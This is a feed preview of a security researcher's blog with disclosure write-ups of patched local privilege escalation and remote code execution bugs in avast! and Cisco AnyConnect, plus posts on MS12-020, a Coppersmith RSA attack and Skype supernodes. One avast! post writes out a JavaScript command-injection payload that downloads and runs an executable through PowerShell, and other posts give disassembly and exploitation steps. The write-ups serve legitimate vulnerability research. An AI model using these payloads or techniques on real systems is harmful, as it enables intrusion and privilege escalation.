Subscribe: Expert: Miami
Added By: Feedage Forager Feedage Grade B rated
Language: French
avast  avec  code  dans  des  eax  est  exe  fonction  les  par  pas  pour  qui  sur  text push  text  une  windows 
Rate this Feed
Rate this feedRate this feedRate this feedRate this feedRate this feed
Rate this feed 1 starRate this feed 2 starRate this feed 3 starRate this feed 4 starRate this feed 5 star

Comments (0)

Feed Details and Statistics Feed Statistics
Preview: Expert: Miami

Expert: Miami

Updated: 2018-03-17T08:37:30.890-04:00


avast! Shatter Attack EoP


Here is another issue in avast!, in the GUI AvastUI.exe. It allowed arbitrary code execution within the context of that trusted process, and as such EoP, self-protection bypass, etc. Exploit is provided. It was fixed about a year ago by the avast! crew.SummaryBug type: arbitrary function callVector: window message to asw_av_tray_icon_wndclassImpact: untrusted code execution within the trusted AvastUI.exe processVerified on: avast! Free AvastUI.exe v9.0.2018.391ForewordIt's been a while since I had used a shatter attack for an interesting purpose! Trendy about 10 years ago (according to Wikipedia), they allowed privilege escalation thanks to core components of Windows like with MS02-071. They are mostly extinct due to Windows now restricting the messages sent to more privileged processes, or isolation of services in session 0. An old but very good presentation of the excellent Brett Moore explains them in detail.But the problem resurfaces when a process attempts to introduce home-made integrity levels, while functioning as the current logged in user (and at the same IL). This new security boundary can be shattered thanks to Windows messages.DescriptionSince we are running in the same context as AvastUI.exe, we can pretty much send any window message to its windows. This appears to be something that the developers didn't think about. For example, the window corresponding to the window class asw_av_tray_icon_wndclass accepts quite a bit of user messages. The following piece of code handles the message 0x83fd:.text:00551BC0 kk_CWndWM83FDh  proc near               ; DATA XREF: .rdata:00677314 o.text:00551BC0.text:00551BC0 wParam          = dword ptr  8.text:00551BC0 lParam          = dword ptr  0Ch.text:00551BC0.text:00551BC0                 push    ebp.text:00551BC1                 mov     ebp, esp.text:00551BC3                 mov     eax, [ebp+wParam].text:00551BC6                 test    eax, eax.text:00551BC8                 jz      short loc_551BD3.text:00551BCA                 push    [ebp+lParam].text:00551BCD                 call    eax.text:00551BCF                 pop     ebp.text:00551BD0                 retn    8.text:00551BD3 ; ---------------------------------------------------------------------------.text:00551BD3.text:00551BD3 loc_551BD3:                             ; CODE XREF: kk_CWndWM83FDh+8 j.text:00551BD3                 xor     eax, eax.text:00551BD5                 pop     ebp.text:00551BD6                 retn    8.text:00551BD6 kk_CWndWM83FDh  endpAs you can see, this handler will interpret wParam as a function pointer and lParam as its first and only argument and call it. This obviously becomes an issue when the message is sent by a 3rd party application as it pretty much guarantees code execution within the AvastUI.exe process.This call primitive is ideal to execute a function like LoadLibrary. We have to make the first parameter point to a string locating the DLL on the drive. Given that we are local, and that Windows doesn't do per-process randomization of DLLs, we already know the address of LoadLibraryA.But one has to be a bit imaginative to know how to place the string into the AvastUI.exe process memory at a known location. One of the solutions that I found (that restricts the path to the DLL to *44* bytes), is [...]

avast! TaskEx RPC EoP (and potential RCE)


Here is a new bug, this time in English. Since most of the logic issues have been dealt with, this one will be a memory corruption, with exploit. Once again, it was patched about a year ago by the avast! team.SummaryBug type: stack overflowVector: LPC (or RPC if the ncacn_ip_tcp Chest endpoint is enabled)Impact: EoP (or unauthenticated RCE)Verified on: avast! Free ashTaskEx.dll v9.0.2018.391DescriptionThe ashTaskEx.dll implements an RPC interface that is bound to a local ncalrpc endpoint, this interface being 908d4c23-138f-4ac5-af4a-08584ae7c67b v1.0. Most of the functions offered by this interface do not enforce any specific checks and are accessible by unprivileged local users. Those functions are processed within the AvastSvc.exe binary, which runs as SYSTEM.The function with opcode 8 of this interface has the following IDL prototype (note that the function name is mine, not a symbol):long   kk_RpcStartRescueDiscToolkit ( [in] handle_t  arg_1, [in][ref][string] wchar_t * arg_2, [in] long  arg_3, [in][ref][string] wchar_t * arg_4, [in] long  arg_5);After unmarshalling the RPC request, it ends up calling tskexStartRescueDiscToolkitImpl:.text:64804575                 mov     [ebp+ms_exc.registration.TryLevel], 0.text:6480457C                 push    0               ; int.text:6480457E                 push    eax             ; RPC_arg_5.text:6480457F                 push    [ebp+RPC_arg_4] ; int.text:64804582                 push    ebx             ; RPC_arg_3.text:64804583                 push    [ebp+RPC_arg_2] ; wchar_t *.text:64804586                 call    tskexStartRescueDiscToolkitImplIt will compare the first string with a hardcoded GUID:.text:6480890E                 mov     ebx, [ebp+arg_0].text:64808911                 push    esi.text:64808912                 push    edi.text:64808913                 push    offset aBf0f4731Dd254a ; "{BF0F4731-DD25-4A94-8E32-F94103856229}".text:64808918                 push    ebx             ; wchar_t *.text:64808919                 mov     [esp+440h+var_42C], eax.text:6480891D                 call    ds:_wcsicmpEdit: opcode 7 has the exact same vulnerability, with a different GUID check, and the exploit below is for that function.If the comparison succeeds, it will process to copying the second string into a stack buffer:.text:6480894E                 mov     eax, [ebp+arg_8].text:64808951                 lea     edx, [esp+438h+var_214].text:64808958                 sub     edx, eax.text:6480895A                 lea     ebx, [ebx+0].text:64808960.text:64808960 loc_64808960:                           ; CODE XREF: tskexStartRescueDiscToolkitImpl+7D j.text:64808960                 movzx   ecx, word ptr [eax].text:64808963                 mov     [edx+eax], cx.text:64808967                 lea   &nbs[...]

avast! Contournement de la protection personnelle


Voici un autre probleme de logique, cette fois-ci au niveau noyau. Il a ete corrige l'annee derniere dans les version vulnerables d'avast!.ResumeType de vulnerabilite: probleme de logiqueVecteur: IOCTL a \\.\aswSP_OpenImpact: contournement de la protection personnelle (rendre un processus "de confiance")Verifie sur: avast! Free aswSP.sys v9.0.2018.391DescriptionLa protection personnelle d'avast! (self-protection en Anglais) permet au programme de se proteger de programmes malicieux. Elle est implemente dans le module noyau aswSP.sys et utilise un concept de niveau de confiance pour les processus executes sur le systeme. aswSP.sys offre une variete de peripheriques et IOCTLs associes, mais une grande partie d'entre eux requiert des privileges administratifs, ou d'etre appele depuis un processus de confiance. Cependant, certain d'entre eux sont accessibles par des utilisateurs non privilegies, notamment au travers de \\.\aswSP_Open.Par example, pour savoir si la protection personnelle est activee, on peut interroger l'IOCTL 0xb2d60190, et pour savoir si un processus est de confiance, 0xb2d600cc. Les processus de confiance executes par defaut sont System, AvastSvc.exe, AvastUI.exe et afwServ.exe sur les versions ayant le parefeu. Cela est illustre par le script Python suivant: src="" style="border: none; height: 400px; width: 100%;"> Un processus de confiance peut modifier le niveau de confiance d'un autre processus. Un IOCTL (0xb2d60198) permet a un processus de devenir de confiance, mais son fonctionnement est quelque peu alambique. Cet IOCTL prend pour parametre en entree un buffer de 0x19 octets qui contient, entre autres, deux pointeurs de fonction en mode utilisateur (Ring 3). Le code de l'IOCTL va determiner dans quel module se situent ces deux pointeurs, et verifier sa signature. Il ne s'agit pas d'une signature de binaire normale de Windows, mais une signature specifique a avast!. Si le binaire n'est pas signe, ou si la signature est invalide, l'appel va echouer. Par contre si tout se passe bien, le pilote noyau va mettre en queue un APC utilisateur qui executera un des pointeurs de fonction. En fonction de ce que va faire cette procedure (modifier les parametres passes), le pilote finira par appeler une fonction qui monte le niveau de confiance du processus dont le PID a ete passe dans le buffer d'entree..text:0001981C kk_SetProcessTrustCallback proc near    ; DATA XREF: kk_aswSP_Open_DispatchIoControl+2B7 o.text:0001981C.text:0001981C arg_0           = dword ptr  8.text:0001981C.text:0001981C                 mov     edi, edi.text:0001981E                 push    ebp.text:0001981F                 mov     ebp, esp.text:00019821                 mov     eax, [ebp+arg_0].text:00019824                 movzx   ecx, byte ptr [eax+8].text:00019828                 push    ecx             ; char.text:00019829                 push    dword ptr [eax+4] ; PVOID.text:0001982C                 call    kk_SetProcessTrust0Or2.text:00019831                 pop     ebp.text:00019832                 retn    4.text:00019832 kk_SetProcessTrustCallback endpAfin de prevenir certains abus possibles, le pilote verifie que le processus appelant l'IOCTL n'est pas en train d'etre debogue:.text:00019496                 push    ebx             ; ReturnLength.text:00019497         &nb[...]

avast! Cache a Virus RPC EoP (et RCE potentiel dans certaines versions)


Un autre probleme corrige dans avast! il y a un peu plus d'un an. Et encore une fois, une vulnerabilite qui ne necessite pas de corruption memoire. Comme le dit le dicton, les corruptions memoire, c'est pour plus tard.ResumeType de vulnerabilite: probleme de logiqueVecteur: appel LPC (ou RPC) a c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0Impact: EoP a SYSTEM, ou RCE potentiel dans les versions entreprises d'avast!Verifie sur: avast! Free ashServ.dll v9.quelquechoseDescriptionLa cache a virus d'avast! est controlee par une interface RPC implementee dans ashServ.dll, cette interface etant c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0. Par default, cette interface n'ecoute que sur un point de terminaison local (ncalrpc), mais dans certaines configurations du logiciel - notamment les versions entreprises - elle peut aussi ecouter sur un port TCP (ncacn_ip_tcp). Aucune de ces deux interfaces ne requerait d'authentification, mais certaines fonctions necessitaient un mot de passe sous forme de chaine de characteres dans les donnees RPC (verifie via MD5). Sur une connexion locale (ou si l'option de configuration de la cache "CheckPassword" est desactivee), le mot de passe n'etait pas verifie..text:6512BC91                 call    ds:RpcStringBindingParseW.text:6512BC97                 test    eax, eax.text:6512BC99                 jnz     loc_6512BD24.text:6512BC9F                 push    offset aNcalrpc ; "ncalrpc".text:6512BCA4                 push    [ebp+Protseq]   ; wchar_t *.text:6512BCA7                 call    ds:_wcsicmp.text:6512BCAD                 add     esp, 8.text:6512BCB0                 test    eax, eax.text:6512BCB2                 jz      short AUTH_SUCCESS.text:6512BCB4                 push    1.text:6512BCB6                 push    offset aCheckpassword ; "CheckPassword".text:6512BCBB                 push    offset aChest   ; "Chest".text:6512BCC0                 call    ds:aswGetAvastPropertyInt.text:6512BCC6                 add     esp, 0Ch.text:6512BCC9                 test    eax, eax.text:6512BCCB                 jz      short AUTH_SUCCESSLe problem reside dans la fonction RestoreFile offerte par l'interface RPC. Une fois appelee pour un identifiant de fichier donne, la fonction de restauration va utiliser les proprietes OrigFolder et OrigFileName associees a ce fichier et restaurer aveuglement le fichier a l'emplacement specifie en tant que SYSTEM, et ce quelque soit le niveau de privilege de l'appelant..text:6512BA84                 push    104h.text:6512BA89                 lea     eax, [ebp+var_834].text:6512BA8F                 push    eax.text:6512BA90                 push    offset aOrigfolder ; "OrigFolder".text:6512BA95                 mov     ecx, esi.text:6512BA97                 call    edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wcha[...]

avast! Partage d'interface RPC EoP


Depuis tout petit, j'ai toujours voulu tirer avantage du partage des poignees de contextes RPC dans un processus Windows. En effet, par defaut les context_handle sont partages pour toutes les interfaces RPC au sein d'un meme processus: un client peut creer un contexte sur une interface, et passer ce meme contexte a une autre interface (sauf attribut specifique dans la definition de l'interface: Strict and Type Strict Context Handles). Cependant, je n'ai jamais eu l'occasion d'exploiter une vulnerabilite se fondant sur ce predicat, car generalement quelque chose va de travers au moment de l'utilisation de la structure associee au contexte.Mais grace a avast!, j'ai finalement pu realiser ce reve d'enfance (ou du moins d'il y a une dizaine d'annees). Comme pour l'entree precedente, la vulnerabilite a ete corrigee il y a un an.Enfin, desole pour les traductions approximatives (handle=poignee?), j'ai arrete de lire les bulletins du CERT-A il y a longtemps! (et je ne me relis pas edit: @n_joly et @0xeb m'envoient les erreurs, et je corrige :()ResumeType de vulnerabilite: partage de contexte RPCVecteur: appel LPC a eb915940-6276-11d2-b8e7-006097c59f07 v4.0Impact: EoP a SYSTEM, contournement de la self-defenseVerifie sur: avast! Free aavm4h.dll v9.0.2018.391Descriptionaavm4h.dll implemente quelques interfaces RPC qui sont hebergees dans le processus AvastSvc.exe. La plus interessante est eb915940-6276-11d2-b8e7-006097c59f07 v4.0, qui offre des fonctions qui effectuent des taches sensibles. Cependant ces fonctions requierent un context_handle afin de s'executer correctement. Ce context_handle peut etre demande par un client via la fonction RPC 0 de l'interface, si le client est "sur" (via un appel a secIsProcessTrusted qui met en jeu un mechanisme implemente par des drivers d'avast! et des signatures d'executables specifiques). Par defaut, si la self-defense est active, un processus n'est pas considere sur, et aucune des fonctions ne peut etre atteinte.C'est ici qu'intervient le partage de poignees de contextes RPC. Par defaut sous Windows, toutes les interfaces RPC dans un meme processus partagent les points de terminaison, mais aussi les poignees de contexte. Pour eviter ce partage, un attribut strict_context_handle doit etre utilise, comme explique plus haut.Cela se revele interessant puisque AvastSvc.exe heberge d'autres interfaces qui donnent des context_handle a des utilisateurs non privilegies. Par exemple dbe95f8e-2be7-4b70-96f3-369be27fa432 v1.0, offert par aswPatchMgmt.dll ne requiert ni privilege specifique, ni processus "sur" pour accorder une poignee de contexte.Pour exploiter cette vulnerabilite, on va appeler la fonction 6 de dbe95f8e-2be7-4b70-96f3-369be27fa432, qui nous donne un context_handle, et utiliser ce context_handle pour appeler une fonction de eb915940-6276-11d2-b8e7-006097c59f07. Quelle fonction choisir? Parmi les fonctions interessantes: AavmDisableSelfDefense, ou la fonction 0x4a qui appelle CreateProcess. Mais cette fonction ne nous permet pas de fournir la ligne de commande complete de l'executable a creer. Elle offre seulement un choix de 5 executables d'avast!. La bonne nouvelle c'est que AvastEmUpdate.exe (choix numero 2) accepte un argument /applydll qui nous permet de specifier le chemin complet d'une bibliotheque qui sera chargee dans le processus, lui meme execute en tant que SYSTEM.Ce qui nous donne les memes privileges:Au passage je ne saurai trop recommender RpcView pour fouiller dans ce bazarre d'interfaces RPC & LPC. Malheureusement mIDA de Nicolas Pouvesle est toujours indispensable pour jouer avec les squelettes RPC en ligne (inline stub), et c'est pas faute de m'etre plaint :).Au final, je vais vous epargner les copier-coller des interfaces IDL et me contenter du fichier C principal: src="" style="border: none; height: 400px; width: 100%;">[...]

The avast! Series


I spent some time quite a while ago looking into avast! and, after about a year, I am going to post about the issues that were found, and fixed back then. The whole project was pretty fun, avast! offers a lot of functionalities and as such a ton of components to look into. Identifying the security boundaries and attack surface required a decent understanding of the product: services, opened ports, LPC or RPC interfaces, kernel drivers and their IO controls or filters, browser components, various parsers, "self-defense", etc.A decent number of issues were found, and Igor and the avast! bug bounty team fixed them promptly, and extensively - I think they did a great job at not concentrating on the specific issues submitted but thinking about the bigger picture, variants and remediation.I will start with one of the juicier ones, as it allowed RCE from a browser.avast! Client-Side Remote Code ExecutionSummaryBug type: command injectionVector: Javascript from browserImpact: remote code execution within the SafeZoneVerified on: avast! Free AvastUI.exe v9.0.2018.397Descriptionavast! offers a SafeZone functionality that creates a separate desktop, and runs processes in a sandboxed environment on this desktop. This SafeZone component comes with a SafeZone Browser that basically is Google Chrome. The SafeZone component is not available in the Free version of avast!, as the browser is not installed, and the UI interface doesn't allow to switch to the SafeZone. Yet, the core functionalities of the SafeZone are present and the SafeZone can be launched, through LPC, the local HTTP Daemon, or browser addons.There are two issues that can be leveraged to achieve code execution, both of them resulting from an injection in the command line of the SafeZone browser. In order to demonstrate the issue, we will use the avastBHO.SwitchToSafezone API in Javascript for the IE BHO. This is accessible when the extension is enabled (default), and for all websites except a few local exceptions.Let's start with the Free version of avast!. In this version, the SafeZone browser is not installed, so when trying to switch to the SafeZone, Windows will attempt to parse the command line to find the binary. Here is the output of ProcessMonitor illustrating this: src="" style="border: none; height: 400px; width: 100%;">As you can see, this becomes an issue because each component of the command line will end up being considered a directory at some point. It is trivial to go up in the tree using the usual ..\ sequence:avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe')This will execute directly a cmd.exe in the SafeZone in avast! Free. Now, in order to download and execute something extra, we just need to couple that with a bit of PowerShell (for Windows 7+):avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c "cd %TEMP%&PowerShell (New-Object System.Net.WebClient).DownloadFile(\'\',\'stage1.exe\');(New-Object -com Shell.Application).ShellExecute(\'stage1.exe\');"')This will download and execute stage1.exe, still in the SafeZone. At this point, we can execute whatever we want, but are still restrained to the sandboxed environment of the SafeZone (file system, registry and privileges).The avastBHO object can become unreachable after some attempts, and IE has to be relaunched.Escaping the SafeZoneFor the sake of completeness, I wrote up a quick SafeZone escape through Windows messages. Doing a CreateProcess from stage1.exe or equivalent still has us stuck in the SafeZone file system. Since we can switch desktop easily, the provided escape just switches back to the Default desktop, pops-up the Windows Run dialog by sending a WM_HOTKEY message, sets the content of the edit box to the command to execute, and presses OK. It can be a bit racey at times, and could use some Q&A, but it's w[...]

Cisco AnyConnect Secure Mobility Client v3.1.06073 EoP


After a long period of silence on this blog, here is a new entry, in English. I'll try to post new things every now and then in French or English!

A vulnerability has been identified in Cisco AnyConnect Secure Mobility Client v3.1.06073 for Windows. This vulnerability could be leveraged by a local unprivileged user to get SYSTEM privileges, and was successfully exploited on a Windows 7 x64 platform.

Once installed, AnyConnect will start the executable vpnagent.exe as a SYSTEM service. This process opens the TCP port 62522 locally and parses requests that are sent to it. The protocol is simple and follows a TLV structure. It will execute different handlers based on the type of the request.

An interesting handler is CMainThread::launchClientApp in vpnagent.exe. This request takes 3 string parameters:

  1. The full path to the binary to be executed
  2. The command line arguments to that binary
  3. The desktop to launch it on
As a security measure, vpnagent.exe verifies that the binary to be executed is validly signed by "Cisco Systems, Inc." through a call to CProcessApi::SetVerifyFileSignature, preventing us from launching any random binary as SYSTEM.

Having a look at the other Cisco signed binaries present, VACon64.exe (amd64 specific version) stands out. This binary will take a part to a directory as an argument, and execute InstallHInfSection on a hardcoded .inf file name. This is particularly unsafe, as we can build out own .inf file to install a service that will, for example, execute cmd.exe interactively as SYSTEM - we just need to make sure to set a DACL that will make it available to anyone.

Provided are 2 files to exploit the service on a 64-bit platform:
  1. is a Python 2.7 script that will launch VACon64.exe with our .inf file by sending the specifically crafted request to the vpnagent service
    src="" style="border: none; height: 400px; width: 100%;">
  2. acsock64.inf is the crafted .inf file that will install an interactive cmd.exe service (named InteractiveCmd) [it can probably be improved, but it's a good starting point]
    src="" style="border: none; height: 400px; width: 100%;">
Both files need to be in the same directory, and executed by an unprivileged user. Said user can then do a "net start InteractiveCmd" to start a SYSTEM cmd.exe in Session 0. The Session 0 Isolation Service should detect it and offer to switch to that session (verified with Windows 7, Windows 10 appear to not switch even though the SYSTEM cmd.exe was successfully launched). The service can then be removed with "sc delete InteractiveCmd".

This vulnerability was reported to Cisco on January, 26th 2015 (PSIRT-1269982510). It was fixed with releases 4.0.02052 and 3.1.08009 of AnyConnect, announced in a security bulletin on June, 23rd 2015 (assigned CVE-2015-4211) [148 days].

Comportement inattendu de LocalReAlloc sous XP SP3


Note: J'ai cherche (rapidement) si quelqu'un avait deja documente le comportement, mais je n'ai rien trouve. Si j'ai rate quelque chose, n'hesitez pas a m'envoyer les liens, je les rajouterai.Ce week-end, je suis tombe sur une vulnerabilite qui m'a ammene a m'interesser au comportement de LocalReAlloc, et donc RtlReAllocateHeap. Le probleme se resumait a passer un pointeur de pile a des fonctions attendant un pointeur de tas. Vu que cela ne sonne pas tres bien en Francais, voici un morceau code illustrant cela:Les appels a LocalFree ou LocalReAlloc dependent des branches et boucles internes a la fonction, et les tailles et index ont ete choisis par hasard.Qui dit XP SP3, dit aussi cookie de tas, et verification des listes doublement chainees. Il ne sera donc pas surprenant de voir que LocalFree (RtlFreeHeap) va echouer la plupart du temps, sauf si vous etes tres doues. Voici un example des verifications qui peuvent vous attendre:Au final, LocalFree rate, ne retourne pas NULL, et le pointeur passe n'est pas touche. Pour obtenir quelque chose d'interessant avec LocalFree, il faudrait passer la verification du cookie, et declencher une liberation vers le Lookaside par exemple.Par contre, LocalReAlloc ne fonctionne pas pareil. D'apres le MSDN, si la reallocation rate, la fonction est sensee retourner NULL, avec un code d'erreur recuperable via GetLastError(). Mais en analysant la fonction, on se rend rapidement compte qu'il existe des chemins qui retournent directement le pointeur passe en cas d'erreur, sans meme verifier le cookie.Par example, si l'entete du chunk n'est pas marque comme etant occupe (ou du moins ce que NtDll pense etre l'entete du chunk), une erreur STATUS_INVALID_PARAMETER va etre levee, mais la fonction va quand meme retourner le pointeur passe (en version simplifiee).Voici les quelques blocs en question:......Un rapide programme pour tester cela donne (a lancer sans que le tas soit en mode debug):LocalReAlloc retourne un pointeur non NULL, le programme pense que la reallocation a ete un succes. Alors que q pointe sur la pile et toute copie vers q va deborder l'espace reserve pour p au dela de 8 octets.En lancant le meme programme sous Windows 7, une erreur critique est detectee, et le programme termine.En soi, cela ne constitue pas une vulnerabilite. Par contre, couple a une corruption de pointeur comme expliquee au debut (ou meme LSB d'un pointeur de tas), on se retrouve avec un programme pensant avoir un espace fraichement realloue sur le tas, alors qu'il va ecraser des donnees quelque part ailleurs (pile dans notre exemple).[...]

To all the tin foil hat wearers


I can't help but notice that the vast majority of people can't process a piece of news such as the one that was posted recently on this blog. To quote Lao Tzu "Those who know do not speak, those who speak, do not know", or something in that regard (sweet irony for I am now speaking).

What are Skype supernodes? As explained in the Skype presentations given 6 years ago, Skype supernodes are a directory and routing service. They are basically the Yellow Pages of Skype, you send them your blobs, and you query them to get your contacts' blobs. If you are behind a NAT or firewall, they will route requests to you. Do they route voice calls (or IM)? No. Relay nodes take care of those if you can't communicate directly with the other end. There is a mutual exclusivity in that a node can't be a relay and a supernode at the same time. At this time, relays are still random machines in the "wild", and people from that "Skype Open Source Project" are full of shit.

Once again, as explained in Vanilla Skype, when you establish a session with a peer - through a relay or directly - each party sends to the other a half-AES key encrypted with the public RSA blob of the other party. Then the session is encrypted using that session key. This means that the end to end traffic is encrypted with something neither the supernode, nor the relay node, nor Skype, know stuff about: because they do *not* have your private RSA key. Does having centralized Supernodes ease wiretapping? No. Does it make the network more reliable, secure, and scalable? Most likely.

Read the slides (part 1 & part 2). If you don't understand them, too bad, you are missing out.

Skype does away with random supernodes


A major change in the Skype network architecture has occurred two or three weeks ago (at the time I wrote this), and has gone unnoticed as far as I know. The number of supernodes has dropped from 48k+ to 10k+, and all the supernodes are now hosted by Microsoft/Skype. Promotion of random eligible nodes to supernodes has stopped (through the setting of the global boolean 33h).

Ironically, those remaining supernodes run on grsec'ed Linux boxes (I hope Spender gets a sizeable donation from Microsoft). They can host a considerable amount of clients, ~100000.

At the same time, the number of online Skype users jumped ( and can now reach 41M at peak hours.

This will likely ensure that former outages ( don't happen again, and gives MS a better control over the network.

Edit: dead link, so here is the original graph from Skype Journal:
Edit: supernodes list as of May 1st 2012:
Edit: Microsoft confirms (
As part of our ongoing commitment to continually improve the Skype user experience, we developed supernodes which can be located on dedicated servers within secure datacentres. This has not changed the underlying nature of Skype’s peer-to-peer (P2P) architecture, in which supernodes simply allow users to find one another (calls do not pass through supernodes). We believe this approach has immediate performance, scalability and availability benefits for the hundreds of millions of users that make up the Skype community.
I do think that this was the way to do things, and that their beliefs expressed in the last sentence are correct (if anyone cares what I think!). They didn't say how much they are going to give Spender though...

MS12-020 round up


IntroductionTout le monde et sa grand mere a ecrit un billet sur MS12-020, et c'est donc mon tour. Le soucis, c'est que personne ne semble avoir vraiment compris la vulnerabilite, et par consequent la quantite d'inexactitudes, d'approximations et autres contresens me fait grincer des dents.Les specifications du protocole RDP sont disponibles en ligne:, et je vous invite a les lire si vous avez des problemes a trouver le sommeil, et la description du bug par Luigi est ici: me suis donne 5 jours pour tenter d'exploiter la vulnerabilite, au dela la rentabilite pour une vulnerabilite corrigee devient moindre, et cela donne une idee du temps restant pour obtenir un exploit viable. En voici un condense, visant principalement XP et 2003. Au passage, Microsoft a donne une exploitabilite de 1 au bug - exploit stable sous 30 jours. Je n'ai pas passe 30 jours, gardez cela a l'esprit.VulnerabiliteTout d'abord la vulnerabilite. Comme decouvert plus ou moins correctement par bon nombre de personnes, un flag n'etait pas mis a zero dans deux fonctions, rdpwd!NMAbortConnect et rdpwd!NM_Disconnect apres un appel a rdpwd!NMDetachUserReq. Le soucis, c'est qu'un chemin existe permettant d'appeler rdpwd!NMDetachUserReq deux fois, avec la possibilite d'un free dans le premier et d'un use-after-free dans le second. Le premier appel provient de rdpwd!NMAbortConnect, le second de rdpwd!NMAbortConnect -> rdpwd!SM_OnConnected -> rdpwd!SM_Disconnect -> rdpwd!NM_Disconnect.La vulnerabilite est trouvee. Comment peut-on generer un appel a rdpwd!NMAbortConnect? rdpwd!NMAbortConnect est appele depuis rdpwd!NM_Connect, et il existe 5 xrefs menant a cette fonction.  Les deux premiers surviennent avant que le flag @ +1Ch ne soit mis a 1 et peuvent donc etre ecartes. Les trois suivants impliquent que rdpwd!MCSChannelJoinRequest retourne quelquechose != 0. Il y a plusieurs moyens de faire echouer cette fonction, certains plus pratiques que d'autres. On va ecarter la possibilite que nt!ExAllocatePoolWithTag retourne NULL (plus de pool disponible!), et se concentrer sur rdpwd!GetNewDynamicChannel.Le code de rdpwd.sys permet de definir jusqu'a 31 canaux dans un PDU Client Core Data (cf: Client Core Data (TS_UD_CS_CORE), Client Network Data (TS_UD_CS_NET), Channel Definition Structure (CHANNEL_DEF)), mais permet aussi de definir le nombre maximum de canaux autorises (cf: Sending MCS Connect Initial PDU with GCC Conference Create Request, Si le nombre de canaux crees par defaut plus le nombre de canaux demandes depasse le maximum, la fonction rdpwd!GetNewDynamicChannel va echouer lors de la creation du nieme canal.TriggerTestons, avec maxChannelIds de targetParameters a 32, et un channelDefArray contenant 31 canaux (eax contient le code d'erreur):Breakpoint 0 hitRDPWD!NMAbortConnect:f6f13062 8bff            mov     edi,edikd> r eaxeax=0000000fC'est moche, contrairement a ce que 99.9% de la communaute pense, maxChannelIds peut prendre toute valeur entre 0 et 32 (et meme plus dans certains cas) et toujours declencher l'appel a rdpwd!NMAbortConnect. Donc si votre signature d'IDS ou votre "analyse" se fonde sur un maxChannelIds a 0 (ou <= 5), vous brassez du vent.Maintenant, appel a rdpwd!NMAbortConnect ne signifie pas necessairement use-after-free. Si vous avez un client qui envoie des paquets propres, etc, vous pouvez declencher un abort a coup sur, mais pas de use-after-free. Il faut autre chose, que je vous laisserai decouvrir par vous meme.Une fois la sequence de paquets correctement construite, observons les cons[...]

Coppersmith pour les nuls


Recemment je suis tombe sur un probleme "interessant" ayant trait a RSA. La facon dont c'etait implemente me laissant a penser que quelque chose n'allait pas, et meme si j'apprecie la cryptographie, je n'ai pas la science infuse et il m'a fallu chercher a droite et a gauche une solution adequate (et simple).

En voici la version anonymisee.

Considerons le probleme ou Bob le developpeur veut chiffrer une cle AES 128 avec du RSA - 1024 bits parceque Bob sait qu'en dessous c'est pas "sur". Bob n'est pas super au point avec les standards, et il ne dispose que de quelques API d'arithmetique modulaire. Toujours est-il que Bob reussit a generer ses nombres premiers, choisit e=3 (pour la simplicite?), et calcule d correctement. Maintenant Bob se doute que si il chiffre sa cle AES (m) directement avec e=3, cela ne va pas mener a grand chose puisque m^3 < n. Donc Bob complete son message avec des 1 (padding fixe). En python, cela ressemblerait a:

src="" style="border: none; height: 315px; width: 100%;">

La problematique est la suivante: connaissant n et e de la cle RSA (parametres publiques), et le message chiffre m', peut-on recouvrer la cle AES?

Et bien cela tombe pile poil dans le domaine couvert par l'attaque de Coppersmith (sugere par @kyprizel) avec f(x)=(2^1023-2^128+x)^3-mprime. Maintenant le probleme est de trouver une implementation de Lenstra–Lenstra–Lovász, ou de le reimplementer soi-meme. La solution se trouve dans la bibliotheque Sage, et le Sage Notebook disponible en ligne si vous ne voulez pas installer les 400MB sous Linux, ou la VM VirtualBox sous Windows - et probablement ailleurs mais je me suis arrete a ce qui marchait.

Avec les quelques lignes de code suivantes sous Sage Notebook vous recupererez les 128 bits de la cle instantanement:

src="" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; height: 230px; width: 100%;">

C'est moche pour Bob, il avait fait un effort ce coup-ci :(

Extraction des fichiers .tor de Star Wars: The Old Republic


Pour ceux qui veulent savoir ce qui se passe dans les fichiers de SW:ToR, voici un petit morceau de code pour "traiter" tous les fichiers .tor dans un repertoire. Le format est base sur des archives "MYP" avec des SHA-256 integres dans les donnees. Les noms de fichiers ne sont pas disponibles dans les archives, seuls un hash particulier sur 64 bits permet d'identifier les fichiers. Une liste partielle des fichiers est disponible avec le projet easymyp.

Le code ne fait pas grand chose, mais donne une idee du format des fichiers.
Il semble au passage que quantites de SHA-256 soient invalides.

src="" style="border: none; height: 600px; width: 100%;">

Steam tombe


Et un autre Stuxnet...


Apparemment, les auteurs de Duqu seraient les memes que ceux de Stuxnet. Il y a un gros PDF qui regroupe les travaux de Symantec et du "laboratoire" qui a ete publie.

Le certificat utilise pour signer les .sys a semble-t-il ete vole, et bien que cache au sein du PDF (sauf son empreinte), il s'agirait d'un certificat de C-Media Eletronics Incorporation qui est maintenant revoque.

D'apres ce que j'ai lu, le but de Duqu est different de celui de Stuxnet et se concentre davantage sur le C&C que la proliferation et l'exploitation de vulnerabilites. Le rapport du "laboratoire" ne semble pas infirmer la presence de 0days dans les binaires.

Quelques liens:
Edit: tableau & liens.

idapython 1.5.2


La nouvelle version d'idapython semble fixer le probleme du script de graph d'xrefs lorsque je l'ai passe en plugin ("crash" lors du double-clique sur un node et fermeture de l'IDB). Telechargez la si vous aviez un probleme avec

Je rajouterai les fonctionalites manquantes dans la semaine. Peut-etre.


Bon j'ai rajoute les quelques lignes necessaires afin de transformer le script en un plugin. Copiez le fichier dans le repertoire de plugin de IDA (n'oubliez pas d'installer la derniere version de idapython), et ALT-F8 vous presentera le dialogue. J'ai aussi corrige un probleme de logique. Alors maintenant un autre bug est apparu: dans le plugin, double-cliquer sur un noeud provoque un crash d'IDA - j'ai essaye de trouve pourquoi ca marche en script et pas en plugin, sans succes. Si quelqu'un sait et peut me dire pourquoi ca serait sympa :)

src="" style="border:none;width:100%;height:800px">

Script idapython du Dimanche soir


